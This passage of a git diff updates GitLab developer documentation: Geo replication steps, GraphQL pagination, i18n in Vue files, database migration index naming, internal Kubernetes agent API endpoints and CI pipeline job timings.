+ `geo_widgets_checksum_failed`, `geo_widgets_synced`,
+ `geo_widgets_failed`, and `geo_widgets_registry` to
+ `Sidekiq metrics` table in
+ `doc/administration/monitoring/prometheus/gitlab_metrics.md`.
+1. Add the following to the parameterized table in
+ `ee/spec/models/geo_node_status_spec.rb`:
```ruby
- self.widget_count = Geo::WidgetReplicator.primary_total_count
+ Geo::WidgetReplicator | :widget | :geo_widget_registry
```
-1. Add `GeoNodeStatus#load_widgets_data` to set `widget_synced_count`,
- `widget_failed_count`, and `widget_registry_count`:
+1. Add the following to `spec/factories/widgets.rb`:
```ruby
- def load_widget_data
- self.widget_synced_count = Geo::WidgetReplicator.synced_count
- self.widget_failed_count = Geo::WidgetReplicator.failed_count
- self.widget_registry_count = Geo::WidgetReplicator.registry_count
+ trait(:checksummed) do
+ with_file
+ verification_checksum { 'abc' }
end
- ```
-1. Call `GeoNodeStatus#load_widgets_data` in
- `GeoNodeStatus#load_secondary_data`.
-
-1. Set `widget_checksummed_count` and `widget_checksum_failed_count` in
- `GeoNodeStatus#load_verification_data`:
-
- ```ruby
- self.widget_checksummed_count = Geo::WidgetReplicator.checksummed_count self.widget_checksum_failed_count = Geo::WidgetReplicator.checksum_failed_count
+ trait(:checksum_failure) do
+ with_file
+ verification_failure { 'Could not calculate the checksum' }
+ end
```
Widget replication and verification metrics should now be available in the API,
@@ -573,7 +569,7 @@ the Admin Area UI, and Prometheus!
null: true,
resolver: ::Resolvers::Geo::WidgetRegistriesResolver,
description: 'Find widget registries on this Geo node',
- feature_flag: :geo_self_service_framework
+ feature_flag: :geo_widget_replication
```
1. Add the new `widget_registries` field name to the `expected_fields` array in
diff --git a/doc/development/gotchas.md b/doc/development/gotchas.md
index 6dff9deb59d..f7b44e74c17 100644
--- a/doc/development/gotchas.md
+++ b/doc/development/gotchas.md
@@ -106,7 +106,7 @@ end
Using `any_instance` to stub a method (elasticsearch_indexing) that has been defined on a prepended module (EE::ApplicationSetting) is not supported.
```
-### Alternative: `expect_next_instance_of` or `allow_next_instance_of`
+### Alternative: `expect_next_instance_of`, `allow_next_instance_of`, `expect_next_found_instance_of` or `allow_next_found_instance_of`
Instead of writing:
@@ -130,8 +130,21 @@ end
allow_next_instance_of(Project) do |project|
allow(project).to receive(:add_import_job)
end
+
+# Do this:
+expect_next_found_instance_of(Project) do |project|
+ expect(project).to receive(:add_import_job)
+end
+
+# Do this:
+allow_next_found_instance_of(Project) do |project|
+ allow(project).to receive(:add_import_job)
+end
```
+_**Note:** Since Active Record is not calling the `.new` method on model classes to instantiate the objects,
+you should use `expect_next_found_instance_of` or `allow_next_found_instance_of` mock helpers to setup mock on objects returned by Active Record query & finder methods._
+
If we also want to initialize the instance with some particular arguments, we
could also pass it like:
diff --git a/doc/development/graphql_guide/pagination.md b/doc/development/graphql_guide/pagination.md
new file mode 100644
index 00000000000..bf9eaa99158
--- /dev/null
+++ b/doc/development/graphql_guide/pagination.md
@@ -0,0 +1,142 @@
+# GraphQL pagination
+
+## Types of pagination
+
+GitLab uses two primary types of pagination: **offset** and **keyset**
+(sometimes called cursor-based) pagination.
+The GraphQL API mainly uses keyset pagination, falling back to offset pagination when needed.
+
+### Offset pagination
+
+This is the traditional, page-by-page pagination, that is most common,
+and used across much of GitLab. You can recognize it by
+a list of page numbers near the bottom of a page, which, when clicked,
+take you to that page of results.
+
+For example, when you click **Page 100**, we send `100` to the
+backend. For example, if each page has say 20 items, the
+backend calculates `20 * 100 = 2000`,
+and it queries the database by offsetting (skipping) the first 2000
+records and pulls the next 20.
+
+```plaintext
+page number * page size = where to find my records
+```
+
+There are a couple of problems with this:
+
+- Performance. When we query for page 100 (which gives an offset of
+ 2000), then the database has to scan through the table to that
+ specific offset, and then pick up the next 20 records. As the offset
+ increases, the performance degrades quickly.
+ Read more in
+ [The SQL I Love <3. Efficient pagination of a table with 100M records](http://allyouneedisbackend.com/blog/2017/09/24/the-sql-i-love-part-1-scanning-large-table/).
+
+- Data stability. When you get the 20 items for page 100 (at
+ offset 2000), GitLab shows those 20 items. If someone then
+ deletes or adds records in page 99 or before, the items at
+ offset 2000 become a different set of items. You can even get into a
+ situation where, when paginating, you could skip over items,
+ because the list keeps changing.
+ Read more in
+ [Pagination: You're (Probably) Doing It Wrong](https://coderwall.com/p/lkcaag/pagination-you-re-probably-doing-it-wrong).
+
+### Keyset pagination
+
+Given any specific record, if you know how to calculate what comes
+after it, you can query the database for those specific records.
+
+For example, suppose you have a list of issues sorted by creation date.
+If you know the first item on a page has a specific date (say Jan 1), you can ask
+for all records that were created after that date and take the first 20.
+It no longer matters if many are deleted or added, as you always ask for
+the ones after that date, and so get the correct items.
+
+Unfortunately, there is no easy way to know if the issue created
+on Jan 1 is on page 20 or page 100.
+
+Some of the benefits and tradeoffs of keyset pagination are
+
+- Performance is much better.
+
+- Data stability is greater since you're not going to miss records due to
+ deletions or insertions.
+
+- It's the best way to do infinite scrolling.
+
+- It's more difficult to program and maintain. Easy for `updated_at` and
+ `sort_order`, complicated (or impossible) for complex sorting scenarios.
+
+## Implementation
+
+When pagination is supported for a query, GitLab defaults to using
+keyset pagination. You can see where this is configured in
+[`pagination/connections.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/graphql/pagination/connections.rb).
+If a query returns `ActiveRecord::Relation`, keyset pagination is automatically used.
+
+This was a conscious decision to support performance and data stability.
+
+However, there are some cases where we have to use the offset
+pagination connection, `OffsetActiveRecordRelationConnection`, such as when
+sorting by label priority in issues, due to the complexity of the sort.
+
+<!-- ### Keyset pagination -->
+
+<!-- ### Offset pagination -->
+
+<!-- ### External pagination -->
+
+## Testing
+
+Any GraphQL field that supports pagination and sorting should be tested
+using the sorted paginated query shared example found in
+[`graphql/sorted_paginated_query_shared_examples.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/support/shared_examples/graphql/sorted_paginated_query_shared_examples.rb).
+It helps verify that your sort keys are compatible and that cursors
+work properly.
+
+This is particularly important when using keyset pagination, as some sort keys might not be supported.
+
+Add a section to your request specs like this:
+
+```ruby
+describe 'sorting and pagination' do
+ ...
+end
+```
+
+You can then use
+[`issues_spec.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/requests/api/graphql/project/issues_spec.rb)
+as an example to construct your tests.
+
+[`graphql/sorted_paginated_query_shared_examples.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/support/shared_examples/graphql/sorted_paginated_query_shared_examples.rb)
+also contains some documentation on how to use the shared examples.
+
+The shared example requires certain `let` variables and methods to be set up:
+
+```ruby
+describe 'sorting and pagination' do
+ let(:sort_project) { create(:project, :public) }
+ let(:data_path) { [:project, :issues] }
+
+ def pagination_query(params, page_info)
+ graphql_query_for(
+ 'project',
+ { 'fullPath' => sort_project.full_path },
+ query_graphql_field('issues', params, "#{page_info} edges { node { id } }")
+ )
+ end
+
+ def pagination_results_data(data)
+ data.map { |issue| issue.dig('node', 'iid').to_i }
+ end
+
+ context 'when sorting by weight' do
+ ...
+ context 'when ascending' do
+ it_behaves_like 'sorted paginated query' do
+ let(:sort_param) { 'WEIGHT_ASC' }
+ let(:first_param) { 2 }
+ let(:expected_results) { [weight_issue3.iid, weight_issue5.iid, weight_issue1.iid, weight_issue4.iid, weight_issue2.iid] }
+ end
+ end
+```
diff --git a/doc/development/i18n/externalization.md b/doc/development/i18n/externalization.md
index 1374ca92256..b5c5a199b1e 100644
--- a/doc/development/i18n/externalization.md
+++ b/doc/development/i18n/externalization.md
@@ -7,6 +7,9 @@ For working with internationalization (i18n),
used tool for this task and there are a lot of applications that will help us to
work with it.
+TIP: **Tip:**
+All `rake` commands described on this page must be run on a GitLab instance, usually GDK.
+
## Setting up GitLab Development Kit (GDK)
In order to be able to work on the [GitLab Community Edition](https://gitlab.com/gitlab-org/gitlab-foss)
@@ -138,7 +141,90 @@ const label = __('Subscribe');
```
In order to test JavaScript translations you have to change the GitLab
-localization to other language than English and you have to generate JSON files
+localization to another language than English and you have to generate JSON files
+using `bin/rake gettext:po_to_json` or `bin/rake gettext:compile`.
+
+### Vue files
+
+In Vue files we make both the `__()` (double underscore parenthesis) function and the `s__()` (namespaced double underscore parenthesis) function available that you can import from the `~/locale` file. For instance:
+
+```javascript
+import { __, s__ } from '~/locale';
+const label = __('Subscribe');
+const nameSpacedlabel = __('Plan|Subscribe');
+```
+
+For the static text strings we suggest two patterns for using these translations in Vue files:
+
+- External constants file:
+
+ ```javascript
+ javascripts
+ │
+ └───alert_settings
+ │ │ constants.js
+ │ └───components
+ │ │ alert_settings_form.vue
+
+
+ // constants.js
+
+ import { s__ } from '~/locale';
+
+ /* Integration constants */
+
+ export const I18N_ALERT_SETTINGS_FORM = {
+ saveBtnLabel: __('Save changes'),
+ };
+
+
+ // alert_settings_form.vue
+
+ import {
+ I18N_ALERT_SETTINGS_FORM,
+ } from '../constants';
+
+ <script>
+ export default {
+ i18n: {
+ I18N_ALERT_SETTINGS_FORM,
+ }
+ }
+ </script>
+
+ <template>
+ <gl-button
+ ref="submitBtn"
+ variant="success"
+ type="submit"
+ >
+ {{ $options.i18n.I18N_ALERT_SETTINGS_FORM }}
+ </gl-button>
+ </template>
+ ```
+
+ When possible, you should opt for this pattern, as this allows you to import these strings directly into your component specs for re-use during testing.
+
+- Internal component `$options` object `:
+
+ ```javascript
+ <script>
+ export default {
+ i18n: {
+ buttonLabel: s__('Plan|Button Label')
+ }
+ },
+ </script>
+
+ <template>
+ <gl-button :aria-label="$options.i18n.buttonLabel">
+ {{ $options.i18n.buttonLabel }}
+ </gl-button>
+ </template>
+ ```
+
+In order to visually test the Vue translations you have to change the GitLab
+localization to another language than English and you have to generate JSON files
using `bin/rake gettext:po_to_json` or `bin/rake gettext:compile`.
### Dynamic translations
@@ -346,9 +432,9 @@ To avoid this error, use the applicable HTML entity code (`&lt;` or `&gt;`) inst
- In JavaScript:
```javascript
- import sanitize from 'sanitize-html';
+ import { sanitize } from 'dompurify';
- const i18n = { LESS_THAN_ONE_HOUR: sanitize(__('In &lt; 1 hours'), { allowedTags: [] }) };
+ const i18n = { LESS_THAN_ONE_HOUR: sanitize(__('In &lt; 1 hour'), { ALLOWED_TAGS: [] }) };
// ... using the string
element.innerHTML = i18n.LESS_THAN_ONE_HOUR;
diff --git a/doc/development/i18n/proofreader.md b/doc/development/i18n/proofreader.md
index 9d2997379c1..1916f96801d 100644
--- a/doc/development/i18n/proofreader.md
+++ b/doc/development/i18n/proofreader.md
@@ -77,7 +77,7 @@ are very appreciative of the work done by translators and proofreaders!
- Mongolian
- Proofreaders needed.
- Norwegian Bokmal
- - Proofreaders needed.
+ - Imre Kristoffer Eilertsen - [GitLab](https://gitlab.com/DandelionSprout), [CrowdIn](https://crowdin.com/profile/DandelionSprout)
- Polish
- Filip Mech - [GitLab](https://gitlab.com/mehenz), [CrowdIn](https://crowdin.com/profile/mehenz)
- Maksymilian Roman - [GitLab](https://gitlab.com/villaincandle), [CrowdIn](https://crowdin.com/profile/villaincandle)
diff --git a/doc/development/import_export.md b/doc/development/import_export.md
index 556fa6c7db4..8d2be1baf24 100644
--- a/doc/development/import_export.md
+++ b/doc/development/import_export.md
@@ -244,7 +244,7 @@ project_tree:
- :push_event_payload
- issues:
- events:
- - ...
+ # ...
```
Only include the following attributes for the models specified:
@@ -254,8 +254,7 @@ included_attributes:
user:
- :id
- :email
- ...
-
+ # ...
```
Do not include the following attributes for the models specified:
diff --git a/doc/development/import_project.md b/doc/development/import_project.md
index 1fa6ea5d405..9e2f5af6738 100644
--- a/doc/development/import_project.md
+++ b/doc/development/import_project.md
@@ -96,6 +96,13 @@ If you want to import it to a new group or subgroup then create it first.
The specified project export file in `archive_path` is missing.
+##### `Exception: Permission denied @ rb_sysopen - (filename)`
+
+The specified project export file can not be accessed by the `git` user.
+
+Setting the file owner to `git:git`, changing the file permissions to `0400`, and moving it to a
+public folder (for example `/tmp/`) fixes the issue.
+
##### `Name can contain only letters, digits, emojis ...`
```plaintext
diff --git a/doc/development/integrations/secure.md b/doc/development/integrations/secure.md
index 21076fa681f..dcfd0f40bf0 100644
--- a/doc/development/integrations/secure.md
+++ b/doc/development/integrations/secure.md
@@ -265,10 +265,16 @@ This documentation gives an overview of the report JSON format,
as well as recommendations and examples to help integrators set its fields.
The format is extensively described in the documentation of
[SAST](../../user/application_security/sast/index.md#reports-json-format),
+[DAST](../../user/application_security/dast/#reports),
[Dependency Scanning](../../user/application_security/dependency_scanning/index.md#reports-json-format),
and [Container Scanning](../../user/application_security/container_scanning/index.md#reports-json-format).
-The DAST variant of the report JSON format is not documented at the moment.
+You can find the schemas for these scanners here:
+
+- [SAST](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/blob/master/dist/sast-report-format.json)
+- [DAST](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/blob/master/dist/dast-report-format.json)
+- [Dependency Scanning](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/blob/master/dist/dependency-scanning-report-format.json)
+- [Container Scanning](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/blob/master/dist/container-scanning-report-format.json)
### Version
diff --git a/doc/development/integrations/secure_partner_integration.md b/doc/development/integrations/secure_partner_integration.md
index 19a497641f9..830cb84e257 100644
--- a/doc/development/integrations/secure_partner_integration.md
+++ b/doc/development/integrations/secure_partner_integration.md
@@ -37,14 +37,14 @@ best place to integrate your own product and its results into GitLab.
implications for app security, corporate policy, or compliance. When complete,
the job reports back on its status and creates a
[job artifact](../../user/project/pipelines/job_artifacts.md) as a result.
-- The [Merge Request Security Widget](../../user/project/merge_requests/testing_and_reports_in_merge_requests.md#security-reports-ultimate)
+- The [Merge Request Security Widget](../../user/project/merge_requests/testing_and_reports_in_merge_requests.md#security-reports)
displays the results of the pipeline's security checks and the developer can
review them. The developer can review both a summary and a detailed version
of the results.
- If certain policies (such as [merge request approvals](../../user/project/merge_requests/merge_request_approvals.md))
are in place for a project, developers must resolve specific findings or get
an approval from a specific list of people.
-- The [security dashboard](../../user/application_security/security_dashboard/index.md#gitlab-security-dashboard-ultimate)
+- The [security dashboard](../../user/application_security/security_dashboard/index.md#gitlab-security-dashboard)
also shows results which can developers can use to quickly see all the
vulnerabilities that need to be addressed in the code.
- When the developer reads the details about a vulnerability, they are
@@ -88,7 +88,7 @@ and complete an integration with the Secure stage.
- If you need a new kind of scan or report, [create an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new#)
and add the label `devops::secure`.
- Once the job is completed, the data can be seen:
- - In the [Merge Request Security Report](../../user/project/merge_requests/testing_and_reports_in_merge_requests.md#security-reports-ultimate) ([MR Security Report data flow](https://gitlab.com/snippets/1910005#merge-request-view)).
+ - In the [Merge Request Security Report](../../user/project/merge_requests/testing_and_reports_in_merge_requests.md#security-reports) ([MR Security Report data flow](https://gitlab.com/snippets/1910005#merge-request-view)).
- While [browsing a Job Artifact](../../user/project/pipelines/job_artifacts.md).
- In the [Security Dashboard](../../user/application_security/security_dashboard/index.md) ([Dashboard data flow](https://gitlab.com/snippets/1910005#project-and-group-dashboards)).
1. Optional: Provide a way to interact with results as Vulnerabilities:
diff --git a/doc/development/internal_api.md b/doc/development/internal_api.md
index c51bf66be46..4b46787c2c3 100644
--- a/doc/development/internal_api.md
+++ b/doc/development/internal_api.md
@@ -26,8 +26,8 @@ file, and include the token Base64 encoded in a `secret_token` parameter
or in the `Gitlab-Shared-Secret` header.
NOTE: **Note:**
-The internal API used by GitLab Pages uses a different kind of
-authentication.
+The internal API used by GitLab Pages, and GitLab Kubernetes Agent Server (kas) uses JSON Web Token (JWT)
+authentication, which is different from GitLab Shell.
## Git Authentication
@@ -370,3 +370,80 @@ Example response:
"reference_counter_decreased": true
}
```
+
+## Kubernetes agent endpoints
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41045) in GitLab 13.4.
+> - This feature is not deployed on GitLab.com
+> - It's not recommended for production use.
+
+The following endpoints are used by the GitLab Kubernetes Agent Server (kas)
+for various purposes.
+
+These endpoints are all authenticated using JWT. The JWT secret is stored in a file
+specified in `config/gitlab.yml`. By default, the location is in the root of the
+GitLab Rails app in a file called `.gitlab_kas_secret`.
+
+CAUTION: **Caution:**
+The Kubernetes agent is under development and is not recommended for production use.
+
+### Kubernetes agent information
+
+Called from GitLab Kubernetes Agent Server (kas) to retrieve agent
+information for the given agent token. This returns the Gitaly connection
+information for the agent's project in order for kas to fetch and update
+the agent's configuration.
+
+```plaintext
+GET /internal/kubernetes/agent_info
+```
+
+Example Request:
+
+```shell
+curl --request GET --header "Gitlab-Kas-Api-Request: <JWT token>" --header "Authorization: Bearer <agent token>" "http://localhost:3000/api/v4/internal/kubernetes/agent_info"
+```
+
+### Kubernetes agent project information
+
+Called from GitLab Kubernetes Agent Server (kas) to retrieve project
+information for the given agent token. This returns the Gitaly
+connection for the requested project. GitLab kas uses this to configure
+the agent to fetch Kubernetes resources from the project repository to
+sync.
+
+Only public projects are currently supported. For private projects, the ability for the
+agent to be authorized is [not yet implemented](https://gitlab.com/gitlab-org/gitlab/-/issues/220912).
+
+| Attribute | Type | Required | Description |
+|:----------|:-------|:---------|:------------|
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../api/README.md#namespaced-path-encoding) |
+
+```plaintext
+GET /internal/kubernetes/project_info
+```
+
+Example Request:
+
+```shell
+curl --request GET --header "Gitlab-Kas-Api-Request: <JWT token>" --header "Authorization: Bearer <agent token>" "http://localhost:3000/api/v4/internal/kubernetes/project_info?id=7"
+```
+
+### Kubernetes agent usage metrics
+
+Called from GitLab Kubernetes Agent Server (kas) to increase the usage
+metric counters.
+
+| Attribute | Type | Required | Description |
+|:----------|:-------|:---------|:------------|
+| `gitops_sync_count` | integer| yes | The number to increase the `gitops_sync_count` counter by |
+
+```plaintext
+POST /internal/kubernetes/usage_metrics
+```
+
+Example Request:
+
+```shell
+curl --request POST --header "Gitlab-Kas-Api-Request: <JWT token>" --header "Content-Type: application/json" --data '{"gitops_sync_count":1}' "http://localhost:3000/api/v4/internal/kubernetes/usage_metrics"
+```
diff --git a/doc/development/licensed_feature_availability.md b/doc/development/licensed_feature_availability.md
index cf479544eea..4350c7fb4d4 100644
--- a/doc/development/licensed_feature_availability.md
+++ b/doc/development/licensed_feature_availability.md
@@ -22,7 +22,7 @@ project.feature_available?(:feature_symbol)
## Restricting global features (instance)
-However, for features such as [Geo](../administration/geo/replication/index.md) and
+However, for features such as [Geo](../administration/geo/index.md) and
[Load balancing](../administration/database_load_balancing.md), which cannot be restricted
to only a subset of projects or namespaces, the check will be made directly in
the instance license.
@@ -35,7 +35,3 @@ the instance license.
```ruby
License.feature_available?(:feature_symbol)
```
-
-## Enabling promo features on GitLab.com
-
-A paid feature can be made available to everyone on GitLab.com by enabling the feature flag `"promo_#{feature}"`.
diff --git a/doc/development/merge_request_performance_guidelines.md b/doc/development/merge_request_performance_guidelines.md
index b3829a82d59..2f084937cc9 100644
--- a/doc/development/merge_request_performance_guidelines.md
+++ b/doc/development/merge_request_performance_guidelines.md
@@ -211,7 +211,7 @@ For keeping transaction as minimal as possible, please consider using `AfterComm
module or `after_commit` AR hook.
Here is [an example](https://gitlab.com/gitlab-org/gitlab/-/issues/36154#note_247228859)
-that one request to Gitaly instance during transaction triggered a P::1 issue.
+that one request to Gitaly instance during transaction triggered a ~"priority::1" issue.
## Eager Loading
diff --git a/doc/development/migration_style_guide.md b/doc/development/migration_style_guide.md
index ebaceac6d17..207dd02d258 100644
--- a/doc/development/migration_style_guide.md
+++ b/doc/development/migration_style_guide.md
@@ -39,7 +39,7 @@ Changes to the schema should be committed to `db/structure.sql`. This
file is automatically generated by Rails, so you normally should not
edit this file by hand. If your migration is adding a column to a
table, that column will be added at the bottom. Please do not reorder
-columns manually for existing tables as this will cause confusing to
+columns manually for existing tables as this will cause confusion to
other people using `db/structure.sql` generated by Rails.
When your local database in your GDK is diverging from the schema from
@@ -260,7 +260,9 @@ def up
end
def down
- drop_table :issues
+ with_lock_retries do
+ drop_table :issues
+ end
end
```
@@ -298,7 +300,7 @@ include Gitlab::Database::MigrationHelpers
def up
with_lock_retries do
- add_foreign_key :imports, :projects, column: :project_id, on_delete: :cascade
+ add_foreign_key :imports, :projects, column: :project_id, on_delete: :cascade # rubocop:disable Migration/AddConcurrentForeignKey
end
end
@@ -316,7 +318,7 @@ include Gitlab::Database::MigrationHelpers
def up
with_lock_retries do
- add_foreign_key :imports, :users, column: :user_id, on_delete: :cascade
+ add_foreign_key :imports, :users, column: :user_id, on_delete: :cascade # rubocop:disable Migration/AddConcurrentForeignKey
end
end
@@ -367,6 +369,7 @@ migration involves one of the high-traffic tables:
- `users`
- `projects`
- `namespaces`
+- `gitlab_subscriptions`
- `issues`
- `merge_requests`
- `ci_pipelines`
@@ -462,13 +465,17 @@ class MyMigration < ActiveRecord::Migration[6.0]
disable_ddl_transaction!
def up
- remove_concurrent_index :table_name, :column_name
+ remove_concurrent_index :table_name, :column_name, name: :index_name
end
end
```
Note that it is not necessary to check if the index exists prior to
-removing it.
+removing it, however it is required to specify the name of the
+index that is being removed. This can be done either by passing the name
+as an option to the appropriate form of `remove_index` or `remove_concurrent_index`,
+or more simply by using the `remove_concurrent_index_by_name` method. Explicitly
+specifying the name is important to ensure the correct index is removed.
For a small table (such as an empty one or one with less than `1,000` records),
it is recommended to use `remove_index` in a single-transaction migration,
@@ -509,11 +516,16 @@ class MyMigration < ActiveRecord::Migration[6.0]
end
def down
- remove_concurrent_index :table, :column
+ remove_concurrent_index :table, :column, name: index_name
end
end
```
+You must explicitly name indexes that are created with more complex
+definitions beyond table name, column name(s) and uniqueness constraint.
+Consult the [Adding Database Indexes](adding_database_indexes.md#requirements-for-naming-indexes)
+guide for more details.
+
If you need to add a unique index, please keep in mind there is the possibility
of existing duplicates being present in the database. This means that should
always _first_ add a migration that removes any duplicates, before adding the
@@ -523,6 +535,42 @@ For a small table (such as an empty one or one with less than `1,000` records),
it is recommended to use `add_index` in a single-transaction migration, combining it with other
operations that don't require `disable_ddl_transaction!`.
+## Testing for existence of indexes
+
+If a migration requires conditional logic based on the absence or
+presence of an index, you must test for existence of that index using
+its name. This helps avoids problems with how Rails compares index definitions,
+which can lead to unexpected results. For more details, review the
+[Adding Database Indexes](adding_database_indexes.md#why-explicit-names-are-required)
+guide.
+
+The easiest way to test for existence of an index by name is to use the
+`index_name_exists?` method, but the `index_exists?` method can also
+be used with a name option. For example:
+
+```ruby
+class MyMigration < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ INDEX_NAME = 'index_name'
+
+ def up
+ # an index must be conditionally created due to schema inconsistency
+ unless index_exists?(:table_name, :column_name, name: INDEX_NAME)
+ add_index :table_name, :column_name, name: INDEX_NAME
+ end
+ end
+
+ def down
+ # no op
+ end
+end
+```
+
+Keep in mind that concurrent index helpers like `add_concurrent_index`,
+`remove_concurrent_index`, and `remove_concurrent_index_by_name` already
+perform existence checks internally.
+
## Adding foreign-key constraints
When adding a foreign-key constraint to either an existing or a new column also
diff --git a/doc/development/packages.md b/doc/development/packages.md
index e21eff543b4..55e22d4bb5f 100644
--- a/doc/development/packages.md
+++ b/doc/development/packages.md
@@ -67,7 +67,7 @@ The current state of existing package registries availability is:
| Repository Type | Project Level | Group Level | Instance Level |
|-----------------|---------------|-------------|----------------|
| Maven | Yes | Yes | Yes |
-| Conan | No - [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/11679) | No - [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/11679) | Yes |
+| Conan | Yes | No - [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/11679) | Yes |
| NPM | No - [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/36853) | Yes | No - [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/36853) |
| NuGet | Yes | No - [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/36423) | No |
| PyPI | Yes | No | No |
@@ -87,7 +87,7 @@ Composer package naming scope is Instance Level.
To avoid name conflict for instance-level endpoints you will need to define a package naming convention
that gives a way to identify the project that the package belongs to. This generally involves using the project
ID or full project path in the package name. See
-[Conan's naming convention](../user/packages/conan_repository/index.md#package-recipe-naming-convention) as an example.
+[Conan's naming convention](../user/packages/conan_repository/index.md#package-recipe-naming-convention-for-instance-level-remote) as an example.
For group and project-level endpoints, naming can be less constrained and it will be up to the group and project
members to be certain that there is no conflict between two package names. However, the system should prevent
diff --git a/doc/development/pipelines.md b/doc/development/pipelines.md
index aef14535a96..7756ef376fc 100644
--- a/doc/development/pipelines.md
+++ b/doc/development/pipelines.md
@@ -56,7 +56,7 @@ graph LR
subgraph "No needed jobs";
1-1["danger-review (3.5 minutes)"];
click 1-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8100542&udv=0"
- 1-50["docs lint (6.75 minutes)"];
+ 1-50["docs lint (9 minutes)"];
click 1-50 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356757&udv=0"
end
```
@@ -72,21 +72,21 @@ graph RL;
subgraph "No needed jobs";
1-1["danger-review (3.5 minutes)"];
click 1-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8100542&udv=0"
- 1-2["build-qa-image (3.4 minutes)"];
+ 1-2["build-qa-image (2.4 minutes)"];
click 1-2 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914325&udv=0"
- 1-3["compile-test-assets (9.06 minutes)"];
+ 1-3["compile-test-assets (8.5 minutes)"];
click 1-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914317&udv=0"
1-4["compile-test-assets as-if-foss (8.35 minutes)"];
click 1-4 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356616&udv=0"
- 1-5["compile-production-assets (22 minutes)"];
+ 1-5["compile-production-assets (19 minutes)"];
click 1-5 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914312&udv=0"
- 1-6["setup-test-env (8.22 minutes)"];
+ 1-6["setup-test-env (7.4 minutes)"];
click 1-6 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914315&udv=0"
1-7["review-stop-failed-deployment"];
1-8["dependency_scanning"];
1-9["qa:internal, qa:internal-as-if-foss"];
1-11["qa:selectors, qa:selectors-as-if-foss"];
- 1-14["retrieve-tests-metadata (1.5 minutes)"];
+ 1-14["retrieve-tests-metadata (1.9 minutes)"];
click 1-14 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356697&udv=0"
1-15["code_quality"];
1-16["brakeman-sast"];
@@ -113,11 +113,9 @@ graph RL;
2_1-1 & 2_1-2 & 2_1-3 & 2_1-4 --> 1-6;
end
- 2_2-2["frontend-fixtures (17.2 minutes)"];
+ 2_2-2["frontend-fixtures (16.5 minutes)"];
class 2_2-2 criticalPath;
click 2_2-2 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=7910143&udv=0"
- 2_2-3["frontend-fixtures-as-if-foss (8.75 minutes)"];
- click 2_2-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=7910154&udv=0"
2_2-4["memory-on-boot (7.19 minutes)"];
click 2_2-4 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356727&udv=0"
2_2-5["webpack-dev-server (6.1 minutes)"];
@@ -148,21 +146,15 @@ graph RL;
3_1-1["jest (15 minutes)"];
class 3_1-1 criticalPath;
click 3_1-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914204&udv=0"
- 3_1-2["karma (8 minutes)"];
+ 3_1-2["karma (4 minutes)"];
click 3_1-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914200&udv=0"
- 3_1-3["jest-as-if-foss (19.7 minutes)"];
- click 3_1-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914205&udv=0"
- 3_1-4["karma-as-if-foss (7.5 minutes)"];
- click 3_1-4 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914203&udv=0"
subgraph "Needs `frontend-fixtures`";
3_1-1 & 3_1-2 --> 2_2-2;
- 3_1-3 & 3_1-4 --> 2_2-3;
end
- 3_2-1["rspec:coverage (6.5 minutes)"];
+ 3_2-1["rspec:coverage (7.5 minutes)"];
subgraph "Depends on `rspec` jobs";
3_2-1 -.->|"(don't use needs because of limitations)"| 2_5-1;
- class 3_2-1 criticalPath;
click 3_2-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=7248745&udv=0"
end
@@ -185,21 +177,21 @@ graph RL;
subgraph "No needed jobs";
1-1["danger-review (3.5 minutes)"];
click 1-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8100542&udv=0"
- 1-2["build-qa-image (3.4 minutes)"];
+ 1-2["build-qa-image (2.4 minutes)"];
click 1-2 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914325&udv=0"
- 1-3["compile-test-assets (9.06 minutes)"];
+ 1-3["compile-test-assets (8.5 minutes)"];
